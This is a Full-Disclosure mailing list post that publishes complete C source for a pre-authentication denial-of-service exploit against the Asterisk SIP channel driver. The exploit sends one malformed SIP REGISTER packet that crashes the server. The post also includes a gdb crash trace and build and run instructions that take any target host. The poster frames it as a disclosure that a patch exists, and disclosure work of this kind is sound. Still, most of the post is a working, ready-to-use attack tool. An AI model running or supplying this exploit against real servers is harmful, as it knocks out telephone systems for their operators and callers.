[Full-disclosure] asterisk remote pre-auth denial of service

["Anonymous Person" <anonymousperzon@xxxxxxxxx>]

A very serious remote denial of service  was recently patched in asterisk
some limited information on the problem  can be found here
http://asterisk.org/taxonomy/term/32

the bug exists in the asterisk SIP channel driver, anyone using asterisk
running SIP is advised to patch their systems as soon as possible.

i am posting this code to highlight severity of the bug which was fixed in
the asterisk release yesterday without much of a description

/*
this will cause asterisk to segfault,
the bug that this exploits has been patched in release 1.2.16  & 1.4.1

CLI>

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1082719152 (LWP 2510)]
register_verify (p=0x81cf600, sin=0x4088e750, req=0x4088e760, uri=0x0)
    at chan_sip.c:8257
8257            while (*t && *t > ' ' && *t != ';')
(gdb) 


build:
gcc -o asterisk-sip-killer asterisk-sip-killer.c

run:
./asterisk-sip-killer -h <targethost>

*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/tcp.h>

#define SIP_UDP_PORT 5060

struct udp_session {    
        int sd;
        struct sockaddr_in saddr;
};

int make_udp(struct udp_session *p, char *remotehost, int port)
{
        int sd;
        int ret;
        struct sockaddr_in saddr;
        struct hostent *he;

        sd = socket(AF_INET,SOCK_DGRAM,0);

        if (sd == -1) {
                printf("error making socket\n");
                return -1;
        }

        he = gethostbyname(remotehost);
        
        saddr.sin_family = AF_INET;
        saddr.sin_port = htons(port);
        saddr.sin_addr.s_addr = inet_addr(remotehost);
        memset(&(saddr.sin_zero), '\0', 8);
        p->sd = sd;
        memcpy(&p->saddr,&saddr,sizeof(struct sockaddr_in));

        printf("udp socket ready\n");
        
        return 0;
}

void kill_asterisk(struct udp_session *sess)
{
        int ret;
        char *p =
                "REGISTER              \r\n"
                "Via: SIP/2.0/UDP 
192.168.204.130:5060;branch=z9hG4bK1d97e14f\r\n"
                "Max-Forwards: 70\r\n"
                "From: <sip:666@xxxxxxxxxxxxxxx>;tag=as253946cf\r\n"
                "To: <sip:100@xxxxxxxxxxxxxxx>\r\n"
                "Call-ID: 7e64a49e5cf018231228938050e43d3b@xxxxxxxxx\r\n"
                "CSeq: 104 REGISTER\r\n"
                "User-Agent: Asterisk PBX\r\n"
                "Expires: 120\r\n"
                "Contact: <sip:666@xxxxxxxxxxxxxxx>\r\n"
                "Event: registration\r\n"
                "Content-Length: 0\r\n";

        ret = sendto(sess->sd, p, strlen(p), 0,
               (struct sockaddr *)&sess->saddr,
               sizeof(struct sockaddr));

        if (ret) {      
                printf("You may have well shutdown a asterisk server\n");
        } else {
                printf("there was a issue sending the request\n");
                return;
        }
        return;
}
int main(int argc, char **argv)
{
        int i = 0;
        char *r_host = NULL;
        struct udp_session *connection_out;
        

        for (i=0;i<argc;i++) {
                if (!(strcmp(argv[i],"-h"))) {
                        printf("it looks like you want a host entry\n");
                        r_host = argv[i+1];
                        printf("r_host: %s\n", r_host);
                }
        }

        if (!r_host) {
                printf("umm you forgot the -h <host> option!\n");
                return 0;
        }

        if (!(connection_out = (struct udp_session *)malloc(sizeof(struct 
udp_session)))) {
                printf("malloc failed your computer sucks\n");
                return 0;
        }
        make_udp(connection_out, r_host, SIP_UDP_PORT);
        kill_asterisk(connection_out);  
        free(connection_out);
        return 0;
}

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